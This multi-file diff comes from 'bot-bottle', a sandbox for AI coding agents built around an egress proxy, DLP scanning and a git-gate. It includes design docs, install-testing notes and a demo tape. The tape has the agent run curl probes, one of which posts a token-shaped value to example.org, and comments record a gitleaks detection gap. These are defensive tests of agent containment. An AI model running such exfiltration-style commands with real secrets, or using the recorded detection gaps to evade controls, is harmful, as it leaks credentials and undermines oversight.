    `name` precedence:
@@ -122,18 +122,12 @@ class Gateway(abc.ABC):
        return
    @abc.abstractmethod
-    def connect_to_orchestrator(self, orchestrator_url: str, gateway_token: str) -> bool:
+    def connect_to_orchestrator(self, orchestrator_url: str, gateway_token: str) -> None:
        """Bind the gateway to this orchestrator and bring it up: store the URL +
        the pre-minted `gateway` token as instance state, then (re)start the
        gateway unit carrying the mitmproxy CA + that token, resolving policy
        against `orchestrator_url`. Idempotent — a healthy, current gateway on
-        the same binding is left alone; a changed binding reconciles it.
+        the same binding is left alone; a changed binding reconciles it."""
        Returns True when the gateway was actually (re)brought up (a cold boot,
        so its mitmproxy minted a fresh CA and lost its per-bottle state), False
        when a healthy current gateway was left untouched. The bring-up flow
        uses this as the cold-boot signal that gates the running-bottle
        reconcile (`attach_bottled_agents_to_gateway`, PRD 0081)."""
    @abc.abstractmethod
    def is_running(self) -> bool:
@@ -0,0 +1,48 @@
 """How to tell a user to re-run this CLI.
 `bot-bottle …` is the right thing to print for anything the user runs as
 themselves — it is on their PATH, since that is how they got here.
 Under `sudo` it is not. sudo replaces PATH with sudoers' `secure_path`
 (`/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin` on Debian and
 Ubuntu, similar elsewhere), which deliberately excludes user-writable
 directories. Both supported install paths put the entry point in one of those:
 pipx uses `~/.local/bin`, and `install.sh`'s venv fallback symlinks there too.
 So `sudo bot-bottle …` fails with "command not found" for exactly the users who
 followed the documented install, while working for anyone who happened to
 install system-wide — which is why it survives review so easily.
 Naming the absolute path sidesteps secure_path entirely.
 """
 from __future__ import annotations
 import os
 import shutil
 import sys
 def self_path() -> str:
    """Absolute path to this CLI's entry point.
    Falls back to the bare name when the entry point cannot be resolved (an
    unusual invocation such as `python -m`), because a slightly wrong hint is
    better than a traceback while reporting an unrelated problem.
    """
    argv0 = sys.argv[0] or "bot-bottle"
    resolved = shutil.which(argv0) or argv0
    if not os.path.isabs(resolved):
        if os.path.exists(resolved):
            resolved = os.path.abspath(resolved)
        else:
            return "bot-bottle"
    return resolved
 def sudo_command(*args: str) -> str:
    """A copy-pasteable `sudo …` invocation of this CLI.
    >>> sudo_command("backend", "setup", "--backend=firecracker")
    'sudo /home/u/.local/bin/bot-bottle backend setup --backend=firecracker'
    """
    return " ".join(["sudo", self_path(), *args])
@@ -50,12 +50,6 @@ class ReprovisionBody(_StrictModel):
    env_var_secret: StrictStr
 class SecretBody(_StrictModel):
    name: StrictStr
    value: StrictStr
    env_var_secret: StrictStr
 class ReconcileBody(_StrictModel):
    live_source_ips: list[StrictStr]
    grace_seconds: float | None = None
@@ -265,21 +259,6 @@ def create_app(orch: OrchestratorCore, *, signing_key: str) -> FastAPI:
            return {"reprovisioned": True}
        raise HTTPException(404, "no stored secrets for this bottle")
    @app.post("/bottles/{bottle_id}/secret")
    def update_secret(bottle_id: str, body: SecretBody) -> dict[str, object]:
        # Update ONE egress token for a running bottle in place — the
        # single-secret form of reprovision, for refreshing a short-lived host
        # credential (e.g. the Codex access token) without a relaunch. cli-only
        # (not in _GATEWAY_ROUTES): a bottle must never set its own tokens.
        if orch.update_agent_secret(
            bottle_id,
            _required(body.name, "name"),
            _required(body.value, "value"),
            _required(body.env_var_secret, "env_var_secret"),
        ):
            return {"updated": True}
        raise HTTPException(404, "no such bottle")
    @app.delete("/bottles/{bottle_id}")
    def teardown(bottle_id: str) -> dict[str, object]:
        if orch.teardown_bottle(bottle_id):
@@ -184,27 +184,6 @@ class OrchestratorClient:
            )
        return True
    def update_agent_secret(
        self, bottle_id: str, name: str, value: str, env_var_secret: str,
    ) -> bool:
        """Update ONE egress token for a running bottle in place
        (`POST /bottles/<id>/secret`) — the single-secret form of
        `reprovision_gateway`, for pushing a freshly-refreshed host credential
        into a bottle without a relaunch. Returns True on success, False when the
        orchestrator doesn't know the bottle (404)."""
        status, _ = self._request(
            "POST",
            f"/bottles/{bottle_id}/secret",
            {"name": name, "value": value, "env_var_secret": env_var_secret},
        )
        if status == 404:
            return False
        if not 200 <= status < 300:
            raise OrchestratorClientError(
                f"update_agent_secret {bottle_id}: HTTP {status}"
            )
        return True
    def teardown_bottle(self, bottle_id: str) -> bool:
        """Tear a bottle down (`DELETE /bottles/<id>`). False if the
        orchestrator didn't know it (404) — idempotent for cleanup paths."""
@@ -379,30 +379,6 @@ class OrchestratorCore:
        self._tokens[bottle_id] = decrypted
        return True
    def update_agent_secret(
        self, bottle_id: str, name: str, value: str, env_var_secret: str,
    ) -> bool:
        """Update ONE egress token for a known bottle in place — the
        single-secret form of ``reprovision_from_secret``.
        Sets the in-memory token AND upserts the single re-encrypted row under
        *env_var_secret* (the same key the rest of the rows are encrypted with, so
        the whole set stays decryptable by a later ``reprovision_from_secret``),
        leaving every other token untouched. Returns False if the bottle is
        unknown.
        Unlike ``reprovision_from_secret`` (which restores the values captured at
        launch), this pushes a *caller-supplied* value — used to refresh a
        short-lived host credential (e.g. the Codex access token) into a
        still-running bottle without a relaunch."""
        from .store.secret_store import encrypt_value
        if self.registry.get(bottle_id) is None:
            return False
        self._tokens.setdefault(bottle_id, {})[name] = value
        self.registry.store_agent_secret(
            bottle_id, name, encrypt_value(env_var_secret, value))
        return True
    # --- consolidated gateway ----------------------------------------------
    def gateway_status(self) -> dict[str, object]:
@@ -370,30 +370,6 @@ class RegistryStore(DbStore):
            )
        self._chmod()
    def store_agent_secret(
        self,
        bottle_id: str,
        key: str,
        encrypted_value: str,
        secret_type: str = "injected_env_var",
    ) -> None:
        """Upsert ONE encrypted secret row (env-var name → ciphertext) for
        *bottle_id*, leaving the bottle's other secrets untouched — the per-key
        counterpart of ``store_agent_secrets``' replace-all. Delete-then-insert
        because the table carries no unique constraint to `ON CONFLICT` against."""
        with self._connection() as conn:
            conn.execute(
                "DELETE FROM bottled_agent_secrets "
                "WHERE bottled_agent_id = ? AND key = ? AND type = ?",
                (bottle_id, key, secret_type),
            )
            conn.execute(
                "INSERT INTO bottled_agent_secrets "
                "(bottled_agent_id, key, value, type) VALUES (?, ?, ?, ?)",
                (bottle_id, key, encrypted_value, secret_type),
            )
        self._chmod()
    def get_agent_secrets(
        self,
        bottle_id: str,
@@ -1,65 +0,0 @@
 # ADR 0006: Shared behaviour lives in the base backend
 - **Status:** Accepted
 - **Date:** 2026-07-27
 - **Deciders:** didericis
 ## Context
 `BottleBackend` has three concrete implementations (Firecracker, docker,
 macOS-container). Cross-backend operations can be expressed two ways:
 1. **Abstract method per backend** — the base declares `@abstractmethod foo()`
   and each backend writes its own `foo()` end to end.
 2. **Template method** — the base owns the *control flow* of `foo()` as a
   concrete method and each backend overrides small **primitives** it calls.
 Form 1 gives each backend total freedom, which is exactly the problem: the three
 implementations drift. The bring-up reconcile (PRD 0081) first shipped as form 1
 and immediately diverged — each backend re-implemented "gather CA → list running
 bottles → push to each", and one backend's copy silently skipped failures while
 another's aborted, an inconsistency caught only in review (#519). The behaviour
 that must be identical (the loop, the error policy, the ordering) was duplicated
 in the place least likely to stay in sync.
 ## Decision
 Prefer the template-method form for cross-backend behaviour: **encode shared
 control flow and policy in the base backend; backends override primitives, not
 control flow.** Lean toward *less* freedom in the concrete backends and *more*
 consistency in the base.
 Concretely, a cross-backend operation on `BottleBackend` should be a concrete
 method that:
 - owns the sequencing, iteration, and error policy (e.g. fail-hard vs.
  best-effort, fail-fast vs. attempt-all-then-aggregate); and
 - delegates only the irreducibly backend-specific steps to `@abstractmethod`
  primitives with narrow, well-typed signatures.
 The first application is `attach_bottled_agents_to_gateway()` (PRD 0081): the
 base gathers resources once, attempts every running bottle, and raises an
 aggregate `InfraLaunchError` if any failed; backends supply only
 `_gateway_attach_resources()`, `_running_bottles()`, and
 `_attach_bottle_to_gateway()`.
 A backend-specific `@abstractmethod` with no shared control flow (e.g.
 `_launch_impl`, `enumerate_active`) stays as form 1 — this ADR is about
 operations whose *shape* should be uniform, not about banning abstract methods.
 ## Consequences
 - The error policy, ordering, and loop for a cross-backend operation have one
  source of truth; a new backend cannot forget them or diverge.
 - New backends implement smaller, more focused primitives instead of re-deriving
  a whole flow.
 - The base carries more logic and needs generic-enough primitive signatures
  (e.g. a backend-specific attach-target type parameter on `BottleBackend`).
 - Genuinely backend-specific one-offs still use a plain abstract method; the
  guidance is a default, not an absolute.
 ## Links
 - PRD 0081 (`docs/prds/0081-reprovision-gateway-state-on-bringup.md`).
 - Review that prompted this: PR #519.
 - `bot_bottle/backend/base.py` (`BottleBackend.attach_bottled_agents_to_gateway`).
@@ -1,10 +1,11 @@
 # VHS tape — drives `bot-bottle start demo` interactively and asks
 # claude (the AI) to run four probes via natural-language prompts.
-# Setup (manifest + dummy SSH key + image pre-warm) and teardown
+# Setup (demo bottle/agent + dummy SSH key + image pre-warm) and
-# happen outside the tape; record via `bash scripts/demo-record.sh`,
+# teardown happen outside the tape; record via
-# which wraps both and decimates dead time post-record.
+# `bash scripts/demo-record.sh`, which wraps both and decimates dead
 # time post-record.
 #
-# Re-record when the prompts, manifest, or cli.py preflight rendering
+# Re-record when the prompts, manifest, or preflight rendering
 # change. Claude's response time varies; the Sleeps below are sized
 # for typical bottle launch + tool-use latencies and can be tightened
 # if a recording consistently has slack.
@@ -16,63 +17,94 @@ Set FontSize   13
 Set Width      1180
 Set Height     780
 Set Padding    20
-Set Theme      "BirdsOfParadise"
+Set Theme      "iTerm2 Dark Background"
 Set TypingSpeed 40ms
 Hide
 Type "clear"
 Enter
 # Pin the backend off-camera so the visible command line stays the
 # plain thing a user would type, and so the recording doesn't follow
 # the host default (Firecracker on KVM Linux).
 Type "export BOT_BOTTLE_BACKEND=macos-container"
 Enter
 Type "clear"
 Enter
 Show
-# Real cli.py invocation — what a user with bot-bottle.json in cwd
+# Real invocation. The bottle declares one allowlisted host, one git
-# would type. The bottle declares one allowlist (only baked-in
+# upstream (unreachable on purpose so gitleaks runs before the gate
-# defaults), one git upstream (unreachable on purpose so gitleaks runs
+# would forward), and a FAKE_TOKEN env var shaped like a GitHub PAT.
-# before the gate would forward), and a FAKE_TOKEN env var shaped like
+#
-# a GitHub PAT.
+# --headless is what keeps this tape stable. The interactive path opens
-Type "bot-bottle start demo"
+# four selectors in a row (bottle multiselect, name/color modal,
-Enter
+# image-mode picker, y/N preflight); driving those blind is how an
-Sleep 8s
+# earlier version of this tape silently recorded `command not found`
-
+# after the prompts changed underneath it. --headless skips all four,
-# Confirm the y/N preflight. cli.py reads from /dev/tty.
+# and it keeps the operator's own bottle names out of the recording —
-Type "y"
+# the multiselect lists every bottle in ~/.bot-bottle/bottles/.
 #
 # All four probes ride in on the single --prompt because --headless is
 # one-shot by construction: the claude provider implements it as
 # `claude -p <prompt>` (contrib/claude/agent_provider.py:351), print
 # mode, which answers and exits. There is no session left to type a
 # follow-up into — an earlier cut of this tape typed probes 2-4 into
 # the dead shell and recorded `bash: GET: command not found`.
 #
 # Note: no --cached-images. Setup does not pre-build, and launch
 # derives a per-bottle tag that would not be present anyway;
 # --cached-images is a hard failure when that tag is absent. The warm
 # layer cache makes the derived build fast regardless.
 #
 # The probes, in order: (1) a warm-up whose reply at all proves
 # api.anthropic.com survives the round trip — bumped TLS handshake, DLP
 # scan, forward; (2) a non-allowlisted host, refused by the gateway's
 # host filter; (3) an allowlisted host carrying a credential-shaped
 # body, where the host check passes and the egress scanner's DLP body
 # scan is the only thing left — that route sets outbound_on_match:
 # block, so it is an immediate 403 rather than the default `supervise`
 # hold-for-approval.
 #
 # Neither curl discards the body (no -o /dev/null). Without it both
 # probes render as a bare `403` and probe 3 is indistinguishable from
 # probe 2 — one take had the agent hedge "DLP or host-allowlist
 # rejection" because it genuinely could not tell which control fired.
 # The refusal text is the only thing that shows the host check passed
 # and the body scan is what refused.
 #
 # Keep apostrophes out of the --prompt text. The whole prompt is a
 # single-quoted shell word, so one apostrophe ends it early: a take
 # that said "the proxy's refusal text" died on
 # `bash: syntax error near unexpected token '('` before the bottle
 # ever started.
 #
 # There is deliberately no git/gitleaks probe. It used to be probe 4,
 # pushing an AKIA-shaped key to the git-gate to watch gitleaks reject
 # the ref in pre-receive. In the last recording gitleaks reported `no
 # leaks found` and the gate forwarded the push; it failed only because
 # `upstream.invalid` does not resolve. A GIF of that reads as "the gate
 # caught the secret" while showing the opposite, so the probe is out
 # until issue #541 settles whether that is a real detection gap.
 #
 # The probes are spelled as literal shell commands rather than English
 # because the agent's discretion is the single biggest source of
 # recording flake. One take had it substitute a placeholder
 # `ghp_FAKE...` for $FAKE_TOKEN, so the DLP scanner had nothing to
 # match and the control reported a clean pass it never earned.
 # $FAKE_TOKEN stays unexpanded here on purpose: the bottle's own shell
 # expands it inside the sandbox, which is what makes probe 3 a real
 # egress test.
 Type `bot-bottle start demo --headless --prompt 'Run these three commands with the Bash tool, exactly as written, and report each result in one line, quoting the refusal text returned by the proxy verbatim. Do not substitute placeholders for any value. (1) echo hello; (2) curl --proxy "$HTTPS_PROXY" -s -w " [%{http_code}]" http://example.com/; (3) curl --proxy "$HTTPS_PROXY" -s -w " [%{http_code}]" -d "token=$FAKE_TOKEN" http://example.org/dlp-probe'`
 Enter
-# Wait for the bottle to launch: networks created, pipelock + git-gate
+# Wait for the bottle to launch (networks, the gateway container with
-# companion containers started, agent container started, claude boots.
+# egress proxy + git gate + supervise, the agent container, claude
-Sleep 22s
+# booting) and then run all four probes to completion. Sized for four
 # tool-using turns; mpdecimate strips whatever dead time is left over.
 Sleep 110s
-# Probe 1 — warm-up. A reply at all proves api.anthropic.com is
+# Headless exits on its own once the prompt is answered; Ctrl+D just
-# reachable through pipelock end-to-end: bumped TLS handshake, DLP
+# closes the recording shell. The launcher tears down the container,
-# scan, and forward all succeed.
+# companion containers, and networks on session end.
 Type "hello there"
 Enter
 Sleep 10s
 # Probe 2 — non-allowlisted host. Pipelock's host filter refuses to
 # forward example.com; the agent runs curl via Bash and reports the
 # 403 it sees. The bottle prompt frames this as a proxy-behavior
 # probe so claude doesn't second-guess the request.
 Type "GET http://example.com via curl — what status does the proxy give back?"
 Enter
 Sleep 18s
 # Probe 3 — allowlisted host BUT a credential-shaped body. The
 # bottle's FAKE_TOKEN env var is a ghp_-prefixed synthetic. The host
 # check passes; pipelock's DLP body scanner has to catch it.
 Type `POST "token=$FAKE_TOKEN" to http://api.anthropic.com/dlp-probe via curl — what does the proxy do?`
 Enter
 Sleep 20s
 # Probe 4 — commit an AKIA-shaped key and push to the declared
 # upstream. The bottle's ~/.gitconfig rewrites the URL to the
 # git-gate via `insteadOf`, so the push lands at the gate, gitleaks
 # runs in pre-receive, and the ref is rejected before the gate
 # would forward upstream.
 Type "init /tmp/r, commit AKIAQRJHK7N5ZPM2VXTL to leak.txt, push to ssh://git@upstream.invalid/path.git main — does the gate let it through?"
 Enter
 Sleep 30s
 # Leave claude. The launcher tears down the container, companion containers, and
 # networks on session end.
 Ctrl+D
 Sleep 4s
@@ -55,13 +55,3 @@ agent has two observable states:
 Shorthand for an active (running) Bottled Agent. Used in the supervisor TUI
 and discovery layer to mean "a bottle whose agent runtime is currently up."
 ## Infra
 The per-host pair of shared services every bottle attaches to: the
 **orchestrator** (control plane — holds the signing key, owns the registry DB,
 mints tokens) and the **gateway** (data plane — TLS-inspecting egress proxy,
 git-gate, supervise). Brought up as an idempotent singleton pair by each
 backend's `InfraService` (two containers on docker/macOS, two microVMs on
 Firecracker). The per-backend `infra_launch` module composes the bring-up and
 bottle register/provision sequence against this pair.
@@ -1,136 +0,0 @@
 # PRD 0081: Reprovision gateway-dependent state on gateway bring-up
 - **Status:** Active
 - **Author:** claude
 - **Created:** 2026-07-26
 - **Issue:** #516
 ## Summary
 When the gateway is (re)built, reconcile every already-running bottle against the
 fresh gateway instead of persisting the gateway's state. On a gateway cold boot,
 the gateway reconciles all live bottles in one flow: **replace** each agent's
 trusted CA with the freshly-minted gateway CA, **re-provision** each bottle's
 git-gate repos + creds onto the gateway, and **restore** each bottle's egress
 tokens. One mechanism across all three services; the CA rotates for free on every
 bring-up.
 ## Problem
 A gateway rebuild/restart silently breaks every already-running bottle:
 - **CA (#510).** The gateway's mitmproxy mints a new CA on a fresh rootfs; agents
  still trust the old one, so egress fails TLS verification (`SSL certificate
  verification failed`).
 - **git-gate (#512).** Per-bottle bare repos (`/git/<id>`) + deploy creds
  (`/git-gate/creds/<id>`) live in the gateway's ephemeral rootfs; a rebuild wipes
  them and the agent 404s on fetch/push.
 Both are the same root cause: per-bottle gateway-dependent state is provisioned
 **once, at bottle launch**, and nothing restores it for already-running bottles
 when the gateway comes back. The existing launch-time reprovision
 (`reprovision_bottles`) restores **only** egress tokens, and only as a side effect
 of the *next* launch.
 Persisting the state (a host bind-mount / a per-VM data volume per service) was
 prototyped and rejected: it differs per service (a volume for the CA, another for
 git-gate, reprovision for tokens), it pins the CA static forever (no rotation),
 and it adds volume surface that `docker volume prune` / a wiped cache can silently
 destroy (the original #450 failure mode).
 ## Goals / Success Criteria
 - A gateway (re)boot restores **all** running bottles' gateway-dependent state
  with no manual step and no relaunch — the agent's next egress / fetch / push
  just works.
 - **One** reconcile flow covering CA, git-gate, and egress tokens, rather than a
  different mechanism per service.
 - The CA **rotates** on every gateway bring-up (no long-lived CA), distributed to
  running agents by the same reconcile.
 - Reconcile failures are **loud, never hidden**: if a running bottle can't be
  re-attached to the fresh gateway, the bring-up fails and names the bottle
  rather than leaving it silently unable to reach the gateway (a bottle whose
  egress just starts failing TLS is worse than a loud failure). Every bottle is
  attempted first and the failures are raised together, so one bring-up surfaces
  the full blast radius. (Reversed from an earlier "tolerate per-bottle
  failures" draft after #519 review.)
 - **All backends** (Firecracker, docker, macOS) reconcile through the *same*
  contract — an abstract method on the backend base class, so a new backend
  cannot forget to implement it and none drifts onto a bespoke mechanism.
 ## Non-goals
 - Deliberate mid-session CA rotation *without* a gateway restart — `rotate_ca`
  stays for that operator action.
 - Changing source-IP attribution, `/resolve`, or the plane split (#469).
 ## Design
 **The contract — `attach_bottled_agents_to_gateway()`, a concrete flow on the
 backend base.** Reconciling running bottles against the current gateway is a
 backend responsibility (only the backend can enumerate its agents and reach them
 — firecracker over SSH, docker/macOS over `exec`/`cp`). To keep every backend
 reconciling identically, the *control flow* lives in a concrete
 `attach_bottled_agents_to_gateway()` on `BottleBackend` (`backend/base.py`) and
 each backend overrides only three primitives:
 1. `_gateway_attach_resources()` — gather what a bottle needs to attach (the
   gateway CA now; egress secrets + git-gate state as this grows).
 2. `_running_bottles()` — enumerate the live bottles as backend handles.
 3. `_attach_bottle_to_gateway(bottle, resources)` — push the resources into one
   bottle, raising `InfraLaunchError` (naming it) on failure.
 The base gathers resources once, attempts every bottle, and — fail hard, never
 skip — raises an aggregate `InfraLaunchError` if any failed, so a backend can't
 drift onto a bespoke loop or a silent skip. (Encoding shared behaviour in the
 base backend, with subclasses overriding primitives rather than control flow, is
 [ADR 0006](../decisions/0006-shared-behavior-in-base-backend.md).) The host
 calls it whenever the gateway is (re)brought up. It reprovisions **all**
 registered bottles' gateway-dependent state: CA, git-gate, and egress tokens.
 **Trigger — the gateway bring-up path.** The host calls
 `attach_bottled_agents_to_gateway()` only when the gateway was actually
 (re)brought up — the cold-boot branch of the infra bring-up (e.g.
 `FirecrackerInfraService.ensure_running` after it boots a fresh pair), never on an
 adopt of a healthy, current gateway (state intact). So it fires exactly when the
 gateway was (re)booted — including orchestrator restarts, since the pair boots
 together — and there is no bare-restart path that bypasses bring-up.
 **Per-backend implementation.** Each backend's `attach_bottled_agents_to_gateway`
 enumerates its live bottles and, for each, reconciles the three services against
 the current gateway. The firecracker implementation, once the gateway VM is up
 and its CA is available:
 1. Map each live bottle's guest IP → `bottle_id` from the orchestrator registry
   (`list_bottles`).
 2. Install the **current** shared git-gate hooks (`git_gate_render_hook` /
   `git_gate_render_access_hook`) into the fresh gateway once — rendered from
   code, never from a bottle's possibly-stale state dir.
 3. For each live agent VM (enumerated from its run dir):
   - **CA:** SSH the current gateway CA into the agent's trust store and run
     `update-ca-certificates` (unconditional replace — there is one gateway, so no
     fingerprint match is needed).
   - **git-gate:** rebuild the bottle's upstreams from its persisted git-gate
     state dir (deploy key, known_hosts, upstream URL) and re-init its bare repos
     + per-repo creds under `/git/<bottle_id>`.
   - **egress token:** read the agent's `ENV_VAR_SECRET` and feed
     `reprovision_bottles`, restoring the orchestrator's in-memory tokens.
 4. If any per-bottle step fails, the reconcile attempts the rest and then raises
   an aggregate naming every bottle that failed — bring-up fails loudly rather
   than leaving a bottle silently unable to reach the gateway.
 **Retire the persistence prototype.** No CA data volume, no git-gate data volume
 (the abandoned PRs #511 / #513). The launch-time `_reprovision_running_bottles`
 call folds into this bring-up reconcile, so egress tokens are restored on the same
 cold-boot trigger (an adopt needs no restore — the orchestrator never restarted).
 **CA rotation.** Because the gateway rootfs is ephemeral, every cold boot mints a
 fresh CA; reconcile is what distributes it, so a routine gateway rebuild doubles
 as a CA rotation with zero extra machinery.
 ## Open questions
 - Docker's existing host-bind-mounted CA (`host_gateway_ca_dir`): once docker's
  `attach_bottled_agents_to_gateway` pushes the CA to running agents on bring-up,
  the bind-mount is redundant — drop it (so docker rotates like firecracker) or
  keep it as belt-and-suspenders? Leaning drop, for one behaviour across backends.
@@ -0,0 +1,183 @@
 # Testing a clean bot-bottle install on Linux
 How do you exercise `install.sh` the way a brand-new user would — on a
 pristine Linux environment you can throw away afterward — *without*
 polluting your daily-driver host, and across the several package-management
 regimes Linux fragments into? This is the Linux counterpart to
 [`testing-clean-install-on-macos.md`](testing-clean-install-on-macos.md);
 the conclusion is different because Linux gives us a boundary macOS doesn't.
 ## Summary
 On macOS the honest options were a throwaway user or a VM, and the throwaway
 user won on pragmatics (nested virtualization is gated to M3+). On Linux the
 calculus flips: a **disposable KVM virtual machine, booted from a distro
 cloud image and deleted per run, is both the cleanest boundary and the one
 that lets a single harness cover Ubuntu, Fedora, Arch, Alpine, and NixOS**.
 The host already requires KVM for the Firecracker backend, so the VM is cheap
 here.
 The harness lives at [`scripts/linux-install-test.sh`](../../scripts/linux-install-test.sh).
 Per run it caches one read-only base image, boots a throwaway copy-on-write
 overlay (`qemu-img create -b base`), installs the distro's prerequisites,
 pipes *this checkout's* `install.sh` into the guest exactly as `curl … | sh`
 would, asserts the CLI installed, and deletes the overlay — the Linux
 equivalent of `docker run --rm`, for a whole machine.
 ## Why a VM, not a container or a throwaway user
 | Mechanism | Why it's the wrong boundary here |
 |---|---|
 | **Container** (`docker run --rm`) | Shares the host kernel and ships a deliberately minimal userland — no systemd, a stubbed-out package manager story, and (crucially) it doesn't reproduce the *externally-managed Python* (PEP 668) that real desktop/server installs put in front of the user. It tests "does install.sh run in a container," not "does it run on a real distro." |
 | **Throwaway user** (`useradd`/`userdel`) | The macOS pick, but weaker on Linux: it reaches the real host, yet every system package it installs (python, pipx, git via `apt`/`dnf`/…) stays behind, and it can only ever test the *one* distro the host runs. The whole Linux-specific value is the cross-distro matrix. |
 | **Disposable KVM VM** (this harness) | A genuine kernel + userland + package-manager boundary that wipes to nothing on teardown, and swaps freely between distro cloud images. The one real cost — nested virtualization for the *backend* — doesn't apply, because we gate the installer, not the runtime (below). |
 ## Two variants: `test` (bare host) and `test-ready` (prepared host)
 `install.sh` never installs a backend, and never installs its own toolchain
 prerequisites (python3, git, pipx) — it installs the `bot-bottle` package and
 runs `doctor`, which *reports* what's missing
 ([`install.sh`](../../install.sh) header,
 [`bot_bottle/cli/commands/doctor.py`](../../bot_bottle/cli/commands/doctor.py)).
 That leaves two distinct things worth testing, split into two subcommands that
 mirror the macOS harness's `test` / `test-ready` convention (there the split is
 the backend service; here it is the toolchain the installer needs):
 - **`test`** — `install.sh` runs on the **bare cloud image**, prerequisites and
  all left as the vendor ships them. This exercises `install.sh`'s own
  prerequisite-guard logic — the entire first half of the script (python
  version gate, git-for-git-specs gate, pipx/pip PEP-668 handling).
 - **`test-ready`** — the harness installs python3 + git + pipx first (the
  `prereqs` step), then runs `install.sh`. This is the *prepared-host happy
  path*: does a clean install actually land and produce a working CLI?
 **Pass criteria differ by variant:**
 | Variant | PASS when |
 |---|---|
 | `test` | `install.sh` **either** installs cleanly (the image already carried enough) **or** declines with one of its own recognized, actionable prerequisite errors (missing python3/git, no usable pip, PEP 668). A crash or an *unrecognized* failure is a FAIL. |
 | `test-ready` | `install.sh` actually lands: the `bot-bottle` entry point is present and runs, and `doctor` reports a usable python and config without crashing. A graceful decline is no longer good enough. |
 Neither variant requires a green `doctor`: inside the VM there is no nested KVM
 or Docker, so **the backend is correctly reported not-ready** — install.sh does
 not install a backend and cannot regress one, and this harness does not
 provision the Docker backend. This is where Linux necessarily diverges from the
 macOS `test-ready`, which reaches the host backend; `BB_TEST_REQUIRE_BACKEND=1`
 makes readiness fatal anyway, for a nested-virt host that can satisfy it. The
 verdict instead classifies `doctor`'s output the way the macOS harness does — a
 `Traceback` is an install defect (fail), a missing `python`/`config` line is a
 fail, a not-ready backend is reported — so a genuine installer regression (a
 broken shim, an import error, a botched PATH) stays visible.
 `test-all` runs the full matrix — every distro × both variants — each cell in
 its own throwaway VM, and prints a per-cell PASS/FAIL summary.
 ## The distro matrix is the point
 Each distro exercises a different corner of the installer:
 | Distro | Cloud image | What it stresses |
 |---|---|---|
 | **Ubuntu** (noble) | `cloud-images.ubuntu.com` | The common case; `apt`'s `pipx`, externally-managed Python (PEP 668) → install.sh's pipx path. |
 | **Fedora** | Fedora Cloud Base Generic | `dnf` packaging, a different default Python, BSD-style checksum file. |
 | **Arch** | `geo.mirror.pkgbuild.com/images/latest` | Rolling / newest Python; `python-pipx`. |
 | **Alpine** | Alpine `nocloud_` (cloudinit) image | musl libc + BusyBox `sh` — the harshest POSIX-`sh` host for a `#!/bin/sh` installer. |
 | **NixOS** | locally built with `nixos-generators` | No FHS `~/.local` on PATH by default; `nix profile install` prereqs; pipx laying a self-contained venv on a non-FHS host. |
 ### Validation run (2026-07-27) — full green
 Full matrix on the delphi KVM host, QEMU 11.0.2, both variants × all five
 distros passing:
 | Distro | `test` (bare) | `test-ready` (prepared) |
 |---|---|---|
 | Ubuntu 24.04 | ✅ declines at git gate | ✅ installs, doctor python+config green |
 | Fedora 44 | ✅ declines at git gate | ✅ installs |
 | Arch (latest) | ✅ declines at git gate | ✅ installs |
 | Alpine 3.21 | ✅ declines at git gate | ✅ installs |
 | NixOS 24.11 | ✅ declines (no python3) | ✅ installs |
 The bare `test` sees `install.sh` decline soundly — exit 1 at the
 git-for-git-specs gate on the Debian/Fedora/Arch/Alpine images (they ship
 python3 but not git), and at the python3 gate on NixOS (no python3 on PATH) —
 and `test-ready` installs cleanly with `doctor` reporting a usable python and
 config (backends all not-ready, as expected in a plain VM).
 Getting to green surfaced and fixed a series of real defects:
 - **Fedora 41 was EOL/404** → bumped to 44.
 - The liveness probe used `bot-bottle --version`, which the CLI does not
  implement (unknown args die non-zero), so every *successful* install was
  misreported as failed → switched to `bot-bottle --help`.
 - **Alpine** needed three fixes: the `generic_` image ignores a NoCloud seed
  (switched to the `nocloud_` variant); OpenRC does not auto-start sshd after
  cloud-init injects the key (start it via `runcmd`); and Alpine's non-PAM
  sshd refuses pubkey auth for a cloud-init-*locked* account (give it a
  throwaway password). It also has no `sudo` by default (install it via
  cloud-init `packages:`).
 - **NixOS** publishes no downloadable cloud qcow2 (its cloud images are
  Hydra-built AMIs), so the harness builds one with `nixos-generators`
  ([`linux-install-test-nixos.nix`](../../scripts/linux-install-test-nixos.nix)):
  cloud-init for the key, flakes enabled, deliberately no python/git/pipx. The
  `test-ready` prereq install pins `nixpkgs/nixos-24.11` because the guest's
  default unstable registry builds pipx from source (and its test suite
  currently fails to build).
 - Two harness-hygiene bugs also fixed: `cmd_down` left `serial.log` behind
  (orphaned run dirs), and the teardown trap was armed after `cmd_up`, leaking
  a VM when `wait_for_ssh` timed out.
 In `test-ready` the harness installs `python3 + git + pipx` first on each
 distro (install.sh installs none of them), so all five drive the recommended
 pipx path. `test` then removes that scaffolding and lets each distro's bare
 image collide with install.sh's guards — on most cloud images python3 is
 present (cloud-init needs it) but git and pipx are not, so install.sh is
 expected to decline at the git-for-git-specs gate or the PEP-668 pip check with
 an actionable message. Both are legitimate, and the two variants together cover
 the whole first half of the installer as well as the happy path.
 ## What a clean install touches (the footprint that decides "wipeable")
 | Artifact | Location | In the guest's `$HOME`? | Survives VM teardown? |
 |---|---|---|---|
 | Config / state / db | `~/.bot-bottle/{agents,bottles,contrib,…}` ([`install.sh`](../../install.sh)) | ✅ | ❌ overlay deleted |
 | pipx venv + shim | `~/.local/pipx/venvs/bot-bottle`, shim in `~/.local/bin` | ✅ | ❌ overlay deleted |
 | pip `--user` fallback | `~/.local/lib` + `~/.local/bin` | ✅ | ❌ overlay deleted |
 | **Distro prerequisites** (python/git/pipx, `test-ready` only) | system paths via `apt`/`dnf`/`pacman`/`apk`/`nix profile` | ❌ | ❌ **overlay deleted** |
 Unlike the macOS throwaway user (whose Homebrew / Apple-Container / Rosetta
 footprint *survives*), **every row here dies with the overlay** — that is the
 VM's whole advantage. The cached base image is read-only backing and is the
 only thing that persists between runs, on purpose.
 ## Design notes baked into the harness
 - **User-mode networking** (`-netdev user,hostfwd=tcp:127.0.0.1:PORT-:22`):
  no root, no bridge, no host network state touched. Only SSH is forwarded.
 - **cloud-init seed ISO** (`cloud-localds`) injects an ephemeral SSH keypair
  and a passwordless-sudo login. The keypair is generated per run and deleted
  on teardown; the guest can't be logged into after it's gone.
 - **Copy-on-write overlay**: the cached base is never mutated, so a corrupt or
  interrupted run can't poison the cache; downloads land at `*.partial` and
  are renamed only after checksum verification.
 - **Checksums**: verified against each vendor's published sums file at
  download time (GNU `hash  file`, bare-hash, and Fedora's BSD
